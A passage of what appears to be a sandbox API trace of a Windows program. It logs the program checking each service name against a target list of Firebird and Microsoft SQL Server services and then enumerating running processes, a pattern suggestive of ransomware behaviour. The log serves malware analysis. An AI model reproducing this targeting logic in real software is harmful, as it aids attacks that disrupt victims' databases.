(lpString1="mssqlserver", lpString2="BITS") returned 1 [0275.403] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0275.403] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0275.403] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0275.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0275.404] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0275.404] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0275.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0275.404] lstrlenW (lpString="CDPSvc") returned 6 [0275.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0275.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0275.404] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0275.404] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0275.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0275.404] lstrlenW (lpString="ClickToRunSvc") returned 13 [0275.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0275.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0275.404] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0275.404] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0275.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0275.404] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0275.404] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0275.404] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0275.404] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0275.404] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0275.404] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0275.405] lstrlenW (lpString="CryptSvc") returned 8 [0275.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0275.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0275.405] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0275.405] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0275.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0275.405] lstrlenW (lpString="DcomLaunch") returned 10 [0275.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0275.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0275.405] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0275.405] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0275.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0275.405] lstrlenW (lpString="DeviceAssociationService") returned 24 [0275.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0275.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0275.405] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0275.405] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0275.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0275.405] lstrlenW (lpString="Dhcp") returned 4 [0275.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0275.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0275.405] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0275.405] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0275.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0275.405] lstrlenW (lpString="Dnscache") returned 8 [0275.405] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0275.405] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0275.405] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0275.405] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0275.405] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0275.405] lstrlenW (lpString="DPS") returned 3 [0275.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0275.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0275.406] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0275.406] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0275.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0275.406] lstrlenW (lpString="DusmSvc") returned 7 [0275.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0275.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0275.406] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0275.406] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0275.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0275.406] lstrlenW (lpString="EventLog") returned 8 [0275.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0275.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0275.406] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0275.406] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0275.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0275.406] lstrlenW (lpString="EventSystem") returned 11 [0275.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0275.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0275.406] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0275.406] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0275.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0275.406] lstrlenW (lpString="FontCache") returned 9 [0275.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0275.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0275.406] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0275.406] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0275.406] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0275.406] lstrlenW (lpString="gpsvc") returned 5 [0275.406] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0275.406] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0275.406] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0275.406] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0275.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0275.407] lstrlenW (lpString="iphlpsvc") returned 8 [0275.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0275.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0275.407] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0275.407] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0275.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0275.407] lstrlenW (lpString="KeyIso") returned 6 [0275.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0275.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0275.407] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0275.407] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0275.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0275.407] lstrlenW (lpString="LanmanServer") returned 12 [0275.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0275.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0275.407] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0275.407] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0275.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0275.407] lstrlenW (lpString="LanmanWorkstation") returned 17 [0275.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0275.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0275.407] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0275.407] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0275.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0275.407] lstrlenW (lpString="lfsvc") returned 5 [0275.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0275.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0275.408] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0275.408] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0275.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0275.408] lstrlenW (lpString="lmhosts") returned 7 [0275.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0275.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0275.408] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0275.408] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0275.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0275.409] lstrlenW (lpString="LSM") returned 3 [0275.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0275.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0275.409] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0275.409] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0275.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0275.409] lstrlenW (lpString="MpsSvc") returned 6 [0275.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0275.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0275.409] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0275.409] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0275.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0275.409] lstrlenW (lpString="NcbService") returned 10 [0275.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0275.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0275.409] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0275.409] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0275.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0275.409] lstrlenW (lpString="netprofm") returned 8 [0275.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0275.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0275.409] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0275.409] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0275.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0275.409] lstrlenW (lpString="NgcSvc") returned 6 [0275.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0275.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0275.409] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0275.409] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0275.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0275.409] lstrlenW (lpString="NlaSvc") returned 6 [0275.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0275.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0275.410] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0275.410] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0275.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0275.410] lstrlenW (lpString="nsi") returned 3 [0275.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0275.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0275.410] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0275.410] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0275.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0275.410] lstrlenW (lpString="PcaSvc") returned 6 [0275.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0275.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0275.410] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0275.410] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0275.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0275.410] lstrlenW (lpString="PlugPlay") returned 8 [0275.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0275.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0275.410] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0275.410] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0275.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0275.410] lstrlenW (lpString="Power") returned 5 [0275.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0275.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0275.410] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0275.410] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0275.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0275.410] lstrlenW (lpString="ProfSvc") returned 7 [0275.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0275.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0275.410] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0275.411] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0275.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0275.411] lstrlenW (lpString="RpcEptMapper") returned 12 [0275.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0275.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0275.411] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0275.411] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0275.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0275.411] lstrlenW (lpString="RpcSs") returned 5 [0275.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0275.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0275.411] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0275.411] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0275.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0275.411] lstrlenW (lpString="SamSs") returned 5 [0275.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0275.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0275.411] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0275.411] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0275.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0275.411] lstrlenW (lpString="Schedule") returned 8 [0275.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0275.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0275.411] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0275.411] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0275.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0275.510] lstrlenW (lpString="SecurityHealthService") returned 21 [0275.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0275.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0275.510] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0275.510] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0275.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0275.510] lstrlenW (lpString="SENS") returned 4 [0275.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0275.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0275.510] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0275.510] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0275.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0275.510] lstrlenW (lpString="ShellHWDetection") returned 16 [0275.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0275.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0275.510] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0275.510] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0275.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0275.510] lstrlenW (lpString="Spooler") returned 7 [0275.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0275.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0275.510] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0275.510] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0275.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0275.510] lstrlenW (lpString="SSDPSRV") returned 7 [0275.510] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0275.510] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0275.510] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0275.510] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0275.510] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0275.510] lstrlenW (lpString="StateRepository") returned 15 [0275.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0275.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0275.511] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0275.511] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0275.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0275.511] lstrlenW (lpString="SysMain") returned 7 [0275.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0275.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0275.511] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0275.511] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0275.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0275.511] lstrlenW (lpString="SystemEventsBroker") returned 18 [0275.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0275.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0275.511] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0275.511] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0275.511] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0275.511] lstrlenW (lpString="Themes") returned 6 [0275.511] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0275.511] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0275.511] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0275.511] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0275.511] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x737f08 | out: hHeap=0x6e0000) returned 1 [0275.511] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3ac [0275.515] Process32FirstW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0275.579] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0275.580] lstrlenW (lpString="System") returned 6 [0275.580] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0275.580] lstrlenW (lpString="smss.exe") returned 8 [0275.580] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0275.581] lstrlenW (lpString="csrss.exe") returned 9 [0275.581] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0275.582] lstrlenW (lpString="wininit.exe") returned 11 [0275.582] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0275.582] lstrlenW (lpString="csrss.exe") returned 9 [0275.582] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0275.583] lstrlenW (lpString="winlogon.exe") returned 12 [0275.583] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0275.584] lstrlenW (lpString="services.exe") returned 12 [0275.584] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0275.584] lstrlenW (lpString="lsass.exe") returned 9 [0275.584] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0275.585] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0275.585] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0275.585] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0275.586] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.586] lstrlenW (lpString="svchost.exe") returned 11 [0275.586] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.587] lstrlenW (lpString="svchost.exe") returned 11 [0275.587] Process32NextW (in: hSnapshot=0x3ac, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, 